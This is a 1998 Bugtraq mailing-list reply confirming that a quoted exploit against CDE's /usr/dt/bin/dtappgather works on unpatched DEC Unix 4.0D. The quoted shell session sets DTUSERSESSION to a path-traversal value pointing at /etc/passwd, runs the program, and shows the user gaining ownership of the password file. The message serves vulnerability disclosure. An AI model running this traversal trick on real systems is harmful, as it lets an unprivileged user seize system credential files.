[8448] in bugtraq
Re: another /usr/dt/bin/dtappgather feature!
daemon@ATHENA.MIT.EDU (Paolo Amendola)
Fri Nov 6 20:01:22 1998
Date: Fri, 6 Nov 1998 09:41:37 +0100
Reply-To: Paolo Amendola <Paolo.Amendola@BA.INFN.IT>
From: Paolo Amendola <Paolo.Amendola@BA.INFN.IT>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: <19981104200637.C24747@colombina.comedia.it>
On Mon, Nov 02, 1998 at 06:05:59PM +0100, Andrea Costantino wrote:
>> costan@penelope$ export $DTUSERSESSION=../../../../etc/passwd
>> costan@penelope$ /usr/dt/bin/dtappgather
>> [.... stuff ....]
>> costan@penelope$ ls -al /etc/passwd
>> -r-xr-xr-x 1 costan users 531 Oct 9 14:08 /etc/passwd
>>
it works on DEC Unix 4.0D, no patches.
Paolo Amendola
